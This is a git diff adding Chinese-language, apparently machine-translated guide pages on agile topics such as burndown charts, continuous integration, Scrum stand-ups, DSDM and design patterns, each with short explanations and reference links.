+Burndown和burnup图表用于衡量项目的进度 - 通常是敏捷方法下的开发冲刺。两个图表在视觉上代表工作与时间。
+
+Burndown图表显示剩余的工作量与剩余时间相比还有多少工作要做。 Y轴表示要完成的工作 - 通常与分配给每个任务的时间估计有关，例如故事点 - 而X轴表示剩余时间。使用两条线;第一个 - “理想工作剩余线” - 代表理想的燃尽，每天完成与总时间成比例的工作量，从而形成一条直线。第二个“实际工作剩余线”用于绘制当开发进入完成状态时的实际进度。燃尽图的示例如下所示。
+
+![alt text](https://upload.wikimedia.org/wikipedia/commons/8/8c/Burn_down_chart.png "图片来源：维基百科")
+
+许多Scrum团队使用燃尽图表来了解他们在冲刺期间的表现。平稳而稳定的燃尽可能表明这些故事很小且易于管理。如果一个团队在冲刺中间注意到“实际工作剩余线”高于“理想工作剩余线”，他们可以对范围进行调整：故事可以从冲刺中获取，或者故事的范围可以是做得更小在短跑结束时回顾期间观察燃尽可能会引发一些有趣的讨论并导致流程改进。
+
+Burnup图表非常相似，但它们显示已完成的工作与总工作量和剩余时间。使用三条线 - 理想线，完整的工作线和总工作线。在此图表中，总工作线应该在图表顶部稍微稳定，并且是范围变化的良好表示。完成的工作线应该稳定地向整个工作线移动一段时间 - 项目的理想轨迹由理想线显示。一个例子如下所示。
+
+![alt text](https://media.licdn.com/mpr/mpr/shrinknp_800_800/AAEAAQAAAAAAAAljAAAAJGQ1ZDI2NzRkLWExYTQtNGI2OS1hZmZjLTM1NGMzYTk1NTEyNg.png "图片来源：Ala'a Elbeheri，LinkedIn")
+
+#### 更多信息：
+
+[Burndown图表 - 维基百科](https://en.wikipedia.org/wiki/Burn_down_chart) [烧毁vs烧毁图表 - LinkedIn](https://www.linkedin.com/pulse/burn-up-vs-down-chart-alaa-el-beheri-cisa-rmp-pmp-bcp-itil/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/business-value/index.md b/client/src/guide/chinese/agile/business-value/index.md
new file mode 100644
index 0000000000..e4aa37e351
--- /dev/null
+++ b/client/src/guide/chinese/agile/business-value/index.md
@@ -0,0 +1,11 @@
+---
+title: Business Value
+localeTitle: 商业价值
+---
+## 商业价值
+
+商业价值是敏捷交付的重点。敏捷团队负责评估所有工作的业务价值。
+
+业务价值描述了客户将为特定工作获得的内容。
+
+通过与客户的对话和所涉及工作的分析来发现该值。业务利益相关者可能拥有量化已请求的给定功能的值的数据。产品所有者将使用各种可用信息来源，并花费大量时间来理解，评估和优先考虑客户为特定工作所获得的价值。
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/chickens-versus-pigs/index.md b/client/src/guide/chinese/agile/chickens-versus-pigs/index.md
new file mode 100644
index 0000000000..1883c1019f
--- /dev/null
+++ b/client/src/guide/chinese/agile/chickens-versus-pigs/index.md
@@ -0,0 +1,18 @@
+---
+title: Chickens Versus Pigs
+localeTitle: 鸡与猪
+---
+## 鸡与猪
+
+“鸡与猪”指的是关于鸡和猪的故事，鸡只建议他们开一家名为“Ham-n-Eggs”的餐馆。 猪拒绝，因为虽然鸡只需要产卵，但猪的危害更大。
+
+在敏捷软件开发项目中，软件开发人员就是猪。如果您未能完成工作，或未能做好， 你有很多危险。这可能是你的声誉，甚至可能是你的立场。其他团队成员也可能被视为猪， 取决于他们的利害关系。
+
+另一方面，许多团队成员都是鸡。例如，客户或高级项目经理不会真正受到影响 由于项目的失败。他们对它的成功感兴趣，并且可能会做出贡献，但却有较低的赌注 对项目的承诺要少得多。
+
+你应该努力成为一只猪而不是一只鸡。你可以受益于（但不应该依赖）鸡，以尽量减少风险和 保证项目尽可能高效地交付。
+
+#### 更多信息：
+
+[敏捷绝地：鸡与猪的故事](http://www.agilejedi.com/chickenandpig)  
+[维基百科：鸡与猪](https://en.wikipedia.org/wiki/The_Chicken_and_the_Pig)
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/code-smells/index.md b/client/src/guide/chinese/agile/code-smells/index.md
new file mode 100644
index 0000000000..c78c4c7b21
--- /dev/null
+++ b/client/src/guide/chinese/agile/code-smells/index.md
@@ -0,0 +1,23 @@
+---
+title: Code Smells
+localeTitle: 代码闻起来
+---
+## 代码闻起来
+
+计算机编程中的代码气味表明您的系统和代码质量可能存在问题。此问题可能需要修复重构。
+
+重要的是要了解有臭味的代码有效，但质量不高。
+
+#### 例子
+
+1.  重复代码 - 已在代码库中复制的代码块。这可能表明您需要将代码概括为函数并在两个地方调用它，或者可能是代码在一个地方工作的方式与它在另一个地方的工作方式完全无关，尽管已被复制。
+2.  大类 - 具有太多代码行的类。这可能表明该类正在尝试做太多事情，需要分解成更小的类。
+
+#### 更多信息：
+
+*   _重构：改进现有代码的设计 - Kent Beck，Martin Fowler_
+*   _清洁代码：敏捷软件工艺手册 - Martin，Robert C.（2009）。_
+*   [维基百科上的代码闻起来](https://en.wikipedia.org/wiki/Code_smell)
+*   [代码闻到杰夫阿特伍德的博客（编码恐怖）](https://blog.codinghorror.com/code-smells/)
+*   [代码闻到了Ward Cunningham的C2 Wiki](http://wiki.c2.com/?CodeSmell)
+*   [Martin Fowler - 代码气味](https://martinfowler.com/bliki/CodeSmell.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/colocation-vs-distributed/index.md b/client/src/guide/chinese/agile/colocation-vs-distributed/index.md
new file mode 100644
index 0000000000..328e47fc0e
--- /dev/null
+++ b/client/src/guide/chinese/agile/colocation-vs-distributed/index.md
@@ -0,0 +1,10 @@
+---
+title: Collocation Vs Distributed
+localeTitle: 搭配与分布式
+---
+## 搭配与分布式
+
+*   同位置是指坐在一起的团队;同一个办公室理想情况下，每个人都坐在相邻的办公室或开放式工作区。
+*   分布式团队成员分散在地理位置;不同的建筑，城市，甚至国家。 对于分布式团队，基础设施应该促进流程，以便解决团队成员之间的时差和距离，从而提供一种有效的工作方式。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/continuous-delivery/index.md b/client/src/guide/chinese/agile/continuous-delivery/index.md
new file mode 100644
index 0000000000..b91eb2940e
--- /dev/null
+++ b/client/src/guide/chinese/agile/continuous-delivery/index.md
@@ -0,0 +1,9 @@
+---
+title: Continuous Delivery
+localeTitle: 持续交付
+---
+## 持续交付
+
+持续交付（CD）是一种软件工程方法，其中团队在短周期内生成软件，确保软件可以随时可靠地发布。 [1](https://en.wikipedia.org/wiki/Extreme_programming)
+
+它旨在更快，更频繁地构建，测试和发布软件。该方法允许对生产中的应用程序进行更多增量更新，从而有助于降低成本，时间和交付变更的风险。简单且可重复的部署过程对于持续交付非常重要。持续交付意味着团队确保每个变更都可以部署到生产中，但可能会选择不这样做，通常是出于商业原因
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/continuous-deployment/index.md b/client/src/guide/chinese/agile/continuous-deployment/index.md
new file mode 100644
index 0000000000..573d2b0504
--- /dev/null
+++ b/client/src/guide/chinese/agile/continuous-deployment/index.md
@@ -0,0 +1,13 @@
+---
+title: Continuous Deployment
+localeTitle: 持续部署
+---
+## 持续部署
+
+持续部署是一种现代软件工程过程，被认为是DevOps环境的一部分。它涉及开发人员团队在很短的周期内生成，更新和发布代码。这意味着开发人员会更频繁地提交更少量的代码。
+
+持续部署的目标是使代码处于持续可靠和可部署的状态，以便随时释放此代码。此过程旨在更快地发布代码。为了实现持续部署，开发团队依赖于基础架构，该基础架构可自动化并处理导致部署的各个步骤。这通常被称为基础设施代码（IaC）。
+
+持续部署的两个主要好处包括每个功能开发后的早期投资回报，因为较低的发布时间以及早期的新功能反馈。
+
+持续部署的其他好处包括提高代码质量，因为生产的错误更少，更可靠的代码发布以及更短的上市时间。
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/continuous-integration/index.md b/client/src/guide/chinese/agile/continuous-integration/index.md
new file mode 100644
index 0000000000..f033841122
--- /dev/null
+++ b/client/src/guide/chinese/agile/continuous-integration/index.md
@@ -0,0 +1,60 @@
+---
+title: Continuous Integration
+localeTitle: 持续集成
+---
+## 持续集成
+
+在最基本的情况下，持续集成（CI）是一种敏捷开发方法，开发人员定期将代码直接合并到主源，通常是远程`master`分支。为了确保不引入重大更改，在每个可能的构建上运行完整的测试套件以对新代码进行回归测试，即测试新代码不会破坏现有的工作特性。
+
+这种方法需要对代码库进行良好的测试覆盖，这意味着大多数（如果不是全部）代码都具有确保其功能完全正常运行的测试。理想情况下，持续集成将与完整的[测试驱动开发一起实施](https://guide.freecodecamp.org/agile/test-driven-development) 。
+
+### 主要步骤
+
+以下基本步骤是实现最标准的当前持续集成方法所必需的。
+
+1.  维护一个中央回购和一个活跃的`master`分支。
+
+必须有一个代码存储库，供每个人合并并从中提取变更。这可以在Github上或任意数量的代码存储服务上。
+
+2.  自动化构建。
+
+使用NPM脚本或更复杂的构建工具（如Yarn，Grunt，Webpack或[Gulp）](https://guide.freecodecamp.org/developer-tools/gulp) ，可以自动构建，以便单个命令可以构建产品的完整功能版本，随时可以在生产环境中部署。更好的是，将部署作为自动构建的一部分！
+
+3.  使构建运行所有测试。
+
+为了检查新代码中是否有任何内容破坏了现有功能，需要运行完整的测试套件，如果其中的任何测试失败，则构建需要失败。
+
+4.  每个人都必须每天将变更合并到`master` 。
+    
+5.  必须构建并完全测试每个合并到`master` 。
+    
+
+### 最佳实践
+
+还有一些最佳实践可以充分利用CI提供的内容及其带来的挑战，例如：
+
+1.  保持快速构建，这样就不会浪费大量的开发人员时间来等待构建。
+    
+2.  在生产环境的完整克隆中测试构建。
+    
+
+例如，如果您有一个部署在Heroku或Digital Ocean之类的应用程序，那么您可以在那里部署测试版本，以确保它们不仅可以在测试中工作，而且可以在真实的生产环境中工作。此测试环境应在功能上与实际生产环境相同，以确保测试准确。
+
+3.  让您轻松保持最新状态。
+
+编码员应定期从`master`分支中提取，以便将代码与其团队的更改集成在一起。回购也应该提供给产品经理，公司高管或有时是关键客户等利益相关者，以便每个人都能轻松地看到进展。
+
+4.  保留构建记录，以便每个人都可以看到任何给定构建的结果，无论是成功还是失败，以及引入新更改的人员或内容。
+    
+5.  自动部署。
+    
+
+在所有测试通过并且生产环境克隆中的测试部署成功后，通过在生产环境中自动部署作为构建过程的最后阶段，使您的应用程序与任何新更改保持最新。
+
+### CI服务
+
+存在大量服务来处理持续集成的过程，这使得建立可靠的CI管道或构建过程变得更加容易。在评估这些时，请考虑预算，构建速度以及您正在处理的项目类型等因素。一些服务，如[Travis CI](https://travis-ci.org)为开源项目提供免费服务，这可以使它们成为像这样的项目的简单选择，但它们可能比其他服务（如[Circle CI](https://circleci.com/)或[Codeship）的](https://codeship.com/)构建速度慢，仅举几例。
+
+#### 更多信息：
+
+关于[持续集成](https://en.wikipedia.org/wiki/Continuous_integration)的维基百科条目。
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/cross-functional-teams/index.md b/client/src/guide/chinese/agile/cross-functional-teams/index.md
new file mode 100644
index 0000000000..bc922a48c1
--- /dev/null
+++ b/client/src/guide/chinese/agile/cross-functional-teams/index.md
@@ -0,0 +1,44 @@
+---
+title: Cross Functional Teams
+localeTitle: 跨职能团队
+---
+## 跨职能团队
+
+跨职能团队是一群具有不同职能专长的人，致力于实现共同目标。
+
+通常，它包括来自组织各级的员工。成员也可能来自组织外部（特别是来自供应商，主要客户或顾问）。跨职能团队通常作为分配到特定任务的自我指导团队，需要众多部门的投入和专业知识。
+
+将任务分配给由多学科个人组成的团队可以提高创造力和开箱即用的思维水平。
+
+每个成员都提供了对问题的替代视角以及对任务的潜在解决方案。在当今的业务中，创新是领先的竞争优势，跨职能团队通过创造性的协作流程促进创新。跨职能团队的成员必须精通多任务，因为他们同时负责他们的跨职能团队职责以及正常的日常工作任务。
+
+### 共同的目标
+
+*   对团队更好，对个人更好
+    
+*   改善协调和整合
+    
+*   跨越组织边界的工作
+    
+*   通过提高生产力来提高团队效率
+    
+*   通过为同一目标努力实现客户满意度
+    
+
+一些研究人员认为跨职能互动本质上是合作的或竞争性的，而其他人则认为组织的职能领域往往被迫彼此竞争和合作（“合作”），理解这些复杂关系如何相互作用至关重要。并影响公司业绩。
+
+### 跨职能团队技能组合
+
+组成跨职能团队的一个共同挑战是，团队中的每个技术成员都必须具备完成任何工作所需的所有技术技能。它有助于团队成员执行多项技术技能，但仍然可以聘请专家。当并非所有团队成员都是专家时，这是最好的。
+
+#### 更多信息：
+
+*   [17证明从一个跨职能团队中受益的方式](https://www.scoro.com/blog/improve-cross-team-collaboration/)
+    
+*   [使用跨职能团队的11个理由](https://blog.kainexus.com/employee-engagement/cross-functional-collaboration/cross-functional-teams/11-reasons)
+    
+*   [跨职能Scrum团队](https://www.scrumalliance.org/community/articles/2014/june/success-story-cross-functional-scrum-teams)
+    
+*   [交叉功能并不意味着每个人都可以做到一切](https://www.mountaingoatsoftware.com/blog/cross-functional-doesnt-mean-everyone-can-do-everything)
+    
+*   [跨职能团队](https://dzone.com/articles/cross-functional-scrum-teams)
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/crystal/index.md b/client/src/guide/chinese/agile/crystal/index.md
new file mode 100644
index 0000000000..094689b7f2
--- /dev/null
+++ b/client/src/guide/chinese/agile/crystal/index.md
@@ -0,0 +1,28 @@
+---
+title: Crystal
+localeTitle: 水晶
+---
+## 水晶
+
+它是一种方法，是一种非常适应性强，轻量级的软件开发方法。它是一系列敏捷方法，包括Crystal Clear，Crystal Yellow，Crystal Orange等。其中哪一个具有由许多因素驱动的独特属性，例如团队的规模，系统的重要程度以及项目的优先级。其中指出每个项目可能需要根据项目的独特特征制定不同的实践，规则和流程。 它们都是由Alistair Cockburn在20世纪90年代开发的。
+
+据他说，水晶的面孔被定义为方法论，技术和政策
+
+方法论 - 作为项目一部分的要素 技术 - 技能领域 政策 - 组织做和不做
+
+这些方法的重点是：
+
+1.  人
+2.  相互作用
+3.  社区
+4.  技能
+5.  人才
+6.  通讯
+
+！\[不同颜色\] https://upload.wikimedia.org/wikiversity/en/c/c5/Crystal _Family_ example.jpg
+
+移动世界需要不同的笔画，根据Crystal的说法，移动项目需要不同的颜色。
+
+#### 更多信息：
+
+\[Wikiversity Article\] https://en.wikiversity.org/wiki/Crystal\_Methods
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/customer-units/index.md b/client/src/guide/chinese/agile/customer-units/index.md
new file mode 100644
index 0000000000..e373bf86a7
--- /dev/null
+++ b/client/src/guide/chinese/agile/customer-units/index.md
@@ -0,0 +1,15 @@
+---
+title: Customer Units
+localeTitle: 客户单位
+---
+## 客户单位
+
+在敏捷中，客户单位是代表语音的人和角色，是产品所针对的客户/市场的期望。
+
+负责用户体验产品的客户单位，产品愿景，产品路线图，创建和维护产品积压等等。
+
+示例人/角色： - >产品经理 - >销售 - >市场营销 - >最终用户
+
+#### 更多信息：
+
+客户单位： [解决方案](https://www.solutionsiq.com/agile-glossary/customer-unit/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/daily-standup-and-daily-scrum/index.md b/client/src/guide/chinese/agile/daily-standup-and-daily-scrum/index.md
new file mode 100644
index 0000000000..d6e88b25e0
--- /dev/null
+++ b/client/src/guide/chinese/agile/daily-standup-and-daily-scrum/index.md
@@ -0,0 +1,27 @@
+---
+title: Daily Stand-Up and Daily Scrum
+localeTitle: 每日站立和每日Scrum
+---
+## 每日站立和每日Scrum
+
+每日站立（DSU）或每日Scrum会议是Scrum方法的组成部分之一。
+
+顾名思义，您每天都会同时召开会议，并且对于位于同一地点的团队，您也可以在同一地点召开会议。会议应简短，不到15分钟即可完成。
+
+只有开发团队的成员才能参加每日站立。通常，Scrum Master和产品所有者也将参加，但不是必需的。
+
+每个人的标准议程是：
+
+*   自上次DSU以来你做了什么
+*   在这个DSU之后你在做什么
+*   阻碍您取得进步的主要障碍是什么？您需要哪些帮助
+
+团队成员应仔细聆听彼此的贡献，并尝试确定他们可以协助彼此进步的领域。站立会议还将展示需要在团队的不同成员之间进行的更长时间的讨论主题。然后应该暂停这些较长时间的讨论，并将其置于站立之外，仅涉及相关参与者，而不是整个团队。
+
+### 站立会议的例子
+
+https://www.youtube.com/watch?v=\_3VIC8u1UV8
+
+### 更多信息：
+
+站立会议： [维基百科](https://en.wikipedia.org/wiki/Stand-up_meeting)
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/delivery-team/index.md b/client/src/guide/chinese/agile/delivery-team/index.md
new file mode 100644
index 0000000000..874b4f145d
--- /dev/null
+++ b/client/src/guide/chinese/agile/delivery-team/index.md
@@ -0,0 +1,17 @@
+---
+title: Delivery Team
+localeTitle: 交付团队
+---
+## 交付团队
+
+Scrum团队由产品负责人（PO），Scrum Master（SM）和交付团队组成。
+
+交付团队是除了PO和SM之外的所有人;开发人员，测试人员，系统分析员，数据库分析师，UI / UX分析师等。
+
+为了使Scrum交付团队有效，它应该足够灵活（或敏捷！），以便快速达成一致的决策，同时具有足够的多样性，以便整个团队可以覆盖软件开发所需的绝大多数特定项目。理想情况下，一个3到9人之间的团队通常适合scrum开发团队。
+
+团队还必须通过团队的每个成员促进相互尊重。一个有效的Scrum团队将能够分担工作量，并将团队的成就放在个人成就之前。
+
+#### 更多信息：
+
+Atlassian关于Scrum的入门文章[。](https://www.atlassian.com/agile/scrum)
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/design-patterns/index.md b/client/src/guide/chinese/agile/design-patterns/index.md
new file mode 100644
index 0000000000..9cbbcb224f
--- /dev/null
+++ b/client/src/guide/chinese/agile/design-patterns/index.md
@@ -0,0 +1,31 @@
+---
+title: Design Patterns
+localeTitle: 设计模式
+---
+## 设计模式
+
+设计模式是解决常见设计问题的常见设计方案。相关字段或域的设计模式集合称为模式语言。请注意，其他级别也有模式：代码，并发，体系结构，交互设计......
+
+在软件工程中，软件设计模式是软件设计中给定上下文中常见问题的通用可重用解决方案。它不是可以直接转换为源代码或机器代码的完成设计。它是如何解决可在许多不同情况下使用的问题的描述或模板。设计模式是形式化的最佳实践，程序员可以在设计应用程序或系统时使用它来解决常见问题。
+
+面向对象的设计模式通常显示类或对象之间的关系和交互，而不指定所涉及的最终应用程序类或对象。暗示可变状态的模式可能不适合函数式编程语言，某些模式可能在内置支持解决他们试图解决的问题的语言中变得不必要，而面向对象的模式不一定适合非对象面向语言。
+
+设计模式可以被视为计算机编程的结构化方法，介于编程范例和具体算法之间。
+
+推广该领域的书是Gang of Four（GoF） **设计模式：可重用面向对象软件的元素** （1994）。它呈现了一系列（23）模式的传统（C ++）OO语言分为三种类型：
+
+*   **Creational** （创建对象）：抽象工厂，构建器，工厂方法，原型，单例。
+*   **结构** （组成对象）：适配器，桥，复合，装饰，立面，flyweight，代理。
+*   **行为** （在对象之间进行通信）：责任链，命令，解释器，迭代器，中介，备忘录，观察者，状态，策略，模板方法，访客。
+
+模式可用于多个目标（学习，沟通，改进工具），但在敏捷中，它们应该从具有技术债务的代码重构而不仅仅是在开始时添加（紧急设计/架构），因为最初您没有足够的知识关于即将发展的（未来）系统。请注意，可能不需要或者已经成为另一种语言或工具的一部分，需要语言或工具中的模式。框架是一组协作类，它们构成了特定类型软件的可重用设计，并且通常是模式繁重的。
+
+#### 更多信息：
+
+*   [维基百科的设计模式](https://en.wikipedia.org/wiki/Software_design_pattern)
+*   [关于GoF书的维基百科](https://en.wikipedia.org/wiki/Design_Patterns)
+*   [源制作设计模式](https://sourcemaking.com/design_patterns) ：在线提供的众所周知的模式列表
+*   [游戏编程模式](http://gameprogrammingpatterns.com/) ：关于游戏开发中常用的设计模式的书，可在线免费阅读
+*   [面向对象设计](http://www.oodesign.com/)
+*   [初学者设计模式指南](https://code.tutsplus.com/articles/a-beginners-guide-to-design-patterns--net-12752)
+*   [从设计模式到类别理论](http://blog.ploeh.dk/2017/10/04/from-design-patterns-to-category-theory/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/dsdm/index.md b/client/src/guide/chinese/agile/dsdm/index.md
new file mode 100644
index 0000000000..7c78b8eebe
--- /dev/null
+++ b/client/src/guide/chinese/agile/dsdm/index.md
@@ -0,0 +1,22 @@
+---
+title: DSDM
+localeTitle: DSDM
+---
+## DSDM
+
+DSDM代表动态系统开发方法。它是一种敏捷快速开发方法，旨在解决开发信息系统所需时间的持续问题。 DSDM更像是一个框架，而不是一个定义明确的方法，而实际应该如何完成的大部分细节都由软件开发组织或个人来决定。 DSDM采用增量方法，并使用RAD（快速应用程序开发）时间盒概念。它还强调了人们在开发过程中的关键作用，并被描述为以用户为中心的方法。
+
+DSDM有9个核心原则，如下：
+
+1）积极的用户参与是必不可少的。 2）必须赋予团队决策权。赋权的四个关键变量是：权力，资源，信息和问责制。 3）频繁交付产品至关重要。 4）适合商业目的是接受可交付成果的基本标准。 5）迭代和增量开发对于汇聚准确的业务解决方案是必要的。 6）开发过程中的所有更改都是可逆的（即如果遇到问题，您不会沿着特定路径继续前进;您回溯到最后一个安全或约定点，然后开始新路径）。 7）要求基于高级别（即一旦达成一致，高级业务要求被冻结）。这基本上是项目的范围。 8）测试在整个生命周期中都是集成的（即在您进行测试时，而不是仅在经常被挤压的末端进行测试）。 9）所有利益相关者之间的协作和合作方法至关重要。
+
+DSDM开发周期的5个主要阶段是：
+
+1）可行性研究。 2）商业研究。 3）功能模型迭代。 4）系统设计和构建迭代。 5）实施。
+
+#### 更多信息：
+
+您可以阅读以下链接以了解更多信息。
+
+*   [敏捷业务 - 什么是DSDM？](https://www.agilebusiness.org/what-is-dsdm)
+*   [维基百科 - 动态系统开发方法](https://en.wikipedia.org/wiki/Dynamic_systems_development_method)
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/epics/index.md b/client/src/guide/chinese/agile/epics/index.md
new file mode 100644
index 0000000000..7ecda9361a
--- /dev/null
+++ b/client/src/guide/chinese/agile/epics/index.md
@@ -0,0 +1,17 @@
+---
+title: Epics
+localeTitle: 史诗
+---
+## 史诗
+
+史诗是一个庞大的用户故事，无法在单个迭代中按定义传递，或者足够大，可以分成较小的用户故事。 Epics通常涵盖特定的角色，并全面了解对用户重要的内容。史诗可以进一步细分为各种用户故事，其显示角色/用户想要执行的各个任务。
+
+没有标准形式来代表史诗。有些团队使用熟悉的用户故事格式（作为A，我想要，所以或按顺序，作为A，我想要），而其他团队用短语代表史诗。
+
+*   虽然构成史诗的故事可以独立完成，但直到整个史诗完成才能实现其商业价值
+
+### 史诗般的例子
+
+在一个应用程序帮助自由职业画家跟踪他们的项目，一个可能的史诗可能是。
+
+Paul the Painter想要一种更简单的方法来管理他的项目，并为他的客户提供准确的更改并向他们开账单。
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/extreme-programming/index.md b/client/src/guide/chinese/agile/extreme-programming/index.md
new file mode 100644
index 0000000000..586c0a233f
--- /dev/null
+++ b/client/src/guide/chinese/agile/extreme-programming/index.md
@@ -0,0 +1,15 @@
+---
+title: Extreme Programming
+localeTitle: 极限编程
+---
+## 极限编程
+
+极限编程（XP）是一种软件开发方法，旨在提高软件质量和响应不断变化的客户需求。 [1](https://en.wikipedia.org/wiki/Extreme_programming)
+
+XP的基本优势是整个过程是可见的和负责任的。开发人员将对他们将要完成的工作做出具体承诺，以可部署软件的形式展示具体进展，当达到里程碑时，他们将准确描述他们做了什么，以及与计划有何不同之处。这使得以业务为导向的人能够自信地做出自己的业务承诺，充分利用机会，并快速，廉价地消除死胡同。 [2](http://wiki.c2.com/?ExtremeProgramming) - 肯特贝克
+
+[![XP-反馈](https://upload.wikimedia.org/wikipedia/commons/4/44/XP-feedback.gif)](https://commons.wikimedia.org/wiki/File%3AXP-feedback.gif "由DonWells（自己的工作）[CC BY 3.0（http://creativecommons.org/licenses/by/3.0）]，通过Wikimedia Commons")
+
+#### 更多信息：
+
+[极限编程规则](http://www.extremeprogramming.org/rules.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/feature-based-planning/index.md b/client/src/guide/chinese/agile/feature-based-planning/index.md
new file mode 100644
index 0000000000..da6083f00d
--- /dev/null
+++ b/client/src/guide/chinese/agile/feature-based-planning/index.md
@@ -0,0 +1,13 @@
+---
+title: Feature Based Planning
+localeTitle: 基于特征的规划
+---
+## 基于特征的规划
+
+**基于特征的计划**是一种计划方法，可用于根据将提供给客户的功能来决定何时发布软件，而不是基于任意期限的发布。
+
+在这种发布计划方法中，团队决定应优先考虑哪些功能/特性。根据这些功能的范围，团队可以预测何时可以部署下一个版本。
+
+#### 更多信息：
+
+[功能驱动的开发](https://en.wikipedia.org/wiki/Feature-driven_development)
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/five-levels-of-agile-planning/index.md b/client/src/guide/chinese/agile/five-levels-of-agile-planning/index.md
new file mode 100644
index 0000000000..68f7353bb6
--- /dev/null
+++ b/client/src/guide/chinese/agile/five-levels-of-agile-planning/index.md
@@ -0,0 +1,32 @@
+---
+title: Five Levels of Agile Planning
+localeTitle: 敏捷计划的五个层次
+---
+## 敏捷计划的五个层次
+
+产品所有者需要熟悉敏捷规划的五个级别：
+
+*   定义产品愿景
+*   定义产品路线图
+*   发布计划
+*   Sprint计划
+*   考虑每日scrums的结果
+
+敏捷计划始终是连续的，应至少每三个月进行一次修订。
+
+## 敏捷策划五个层次简要概述
+
+1.  产品愿景：什么（产品将提供的主要优势和特征摘要），谁（利益相关者），为什么（需要和机会），何时（项目安排和时间预期），约束和假设（影响风险和成本）。
+    
+2.  产品路线图：发布 - 日期，主题/功能集，目标，开发方法。
+    
+3.  发布计划：迭代，团队容量，故事，优先级，大小，估计，完成的定义。
+    
+4.  Sprint计划：故事 - 任务，完成的定义，努力程度，承诺
+    
+5.  每日计划：我昨天做了什么？我今天要做什么？是什么阻止了我？
+    
+
+#### 更多信息：
+
+[敏捷计划的五个层次](https://www.scrumalliance.org/why-scrum/agile-atlas/agile-atlas-common-practices/planning/january-2014/five-levels-of-agile-planning)
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/functional-managers/index.md b/client/src/guide/chinese/agile/functional-managers/index.md
new file mode 100644
index 0000000000..7397fc2bb3
--- /dev/null
+++ b/client/src/guide/chinese/agile/functional-managers/index.md
@@ -0,0 +1,12 @@
+---
+title: Functional Managers
+localeTitle: 职能经理
+---
+## 职能经理
+
+职能经理是对一群人具有管理权限的人。该权限来自该人员在组织中的正式职位（例如，部门主管，质量部门经理，开发团队经理）。职能经理的角色与项目经理或ScrumMaster不同，而不是基于项目。  
+在更敏捷的组织中，存在不同的模型。职能经理通常负责培养他们团队中的人员，确保人员的预算和时间。 然而，也有一些敏捷公司模型，其中通常分配给职能经理的职能分配给组织内的其他角色（例如，具有部落，公会，章节，小队的Spotify模型）。
+
+在传统的工作世界中，公司将人们组织成一个等级制度。具有类似工作角色的人员被分为功能区域，并由职能经理领导。职能经理通常负责直接向她报告的员工的指导和福祉。
+
+敏捷项目团队通常会与职能经理合作，他们负责控制团队完成工作所需的资源。一个例子是与采购中的职能经理合作，指派一个人与团队一起工作以获得软件许可。
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/index.md b/client/src/guide/chinese/agile/index.md
new file mode 100644
index 0000000000..c270130838
--- /dev/null
+++ b/client/src/guide/chinese/agile/index.md
@@ -0,0 +1,19 @@
+---
+title: Agile
+localeTitle: 敏捷
+---
+## 敏捷
+
+敏捷软件开发是用于管理开发团队的方法集合。它倡导适应性规划，演化发展，早期交付和持续改进，并鼓励对变化做出快速灵活的反应。人们和沟通被认为比工具和流程更重要。
+
+敏捷强调向最终用户询问他们想要什么，并经常向他们展示产品开发时的演示。这与“瀑布式”方法，规范驱动的开发以及敏捷实践者所称的“大型前端设计”形成鲜明对比。在这些方法中，功能在开发之前计划出来并编入预算。
+
+对于敏捷，重点是“敏捷性” - 能够快速响应用户的反馈和其他不断变化的环境。
+
+![来自Commitstrip.com的漫画，展示产品经理向开发人员解释他们正在转向敏捷，但随后要求开发人员预先计划一切](https://www.commitstrip.com/wp-content/uploads/2017/01/Strip-Budegt-fixe-pour-projet-flexible-english650-final.jpg)
+
+敏捷有许多不同的风格，包括Scrum和极限编程。
+
+### 更多信息
+
+[敏捷联盟的主页](https://www.agilealliance.org/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/integration-hell/index.md b/client/src/guide/chinese/agile/integration-hell/index.md
new file mode 100644
index 0000000000..31883803e9
--- /dev/null
+++ b/client/src/guide/chinese/agile/integration-hell/index.md
@@ -0,0 +1,22 @@
+---
+title: Integration Hell
+localeTitle: 整合地狱
+---
+## 整合地狱
+
+Integration Hell是一个俚语，当开发团队的所有成员都经过随机时间实现代码的过程时，无法将不同的代码片段合并到一个无缝的代码中。开发团队将不得不花费几个小时或几天来测试和调整代码，以使其全部工作。
+
+实际上，较长的组件是孤立开发的，界面越容易偏离预期。当组件最终在项目结束时集成时，它将花费更多的时间而不是分配，通常会导致最后期限压力和难以集成。在项目结束时这种痛苦的整合工作是同名的地狱。
+
+持续集成，开发团队应该使用特定工具来“持续集成”他们每天多次处理的代码部分，以便工具可以将不同的“代码块”匹配在一起，以便更加无缝地集成比以前。
+
+代码存储库，像Git（它是我们都知道和喜欢的开源接口，GitHub）允许开发团队组织他们的工作，这样可以花更多的时间来编码，而不用担心代码的不同部分是否全部集成。
+
+[持续集成](https://guide.freecodecamp.org/agile/continuous-integration/)是解决这一问题的敏捷解决方案。集成仍然很痛苦，但至少每天这样做会使接口不会过分分散。
+
+#### 更多信息：
+
+*   [避免整合地狱](https://tobeagile.com/2017/03/08/avoiding-integration-hell/)
+*   [整合地狱](http://wiki.c2.com/?IntegrationHell)
+*   [通过持续集成避免“整合地狱”的五大提示](https://www.apicasystems.com/blog/top-5-tips-avoid-integration-hell-continuous-integration/)
+*   [D-Zone关于Integration Hell的文章以及Continous Integration如何帮助它几乎成为过去](https://dzone.com/articles/continuous-integration-how-0)
\ No newline at end of file
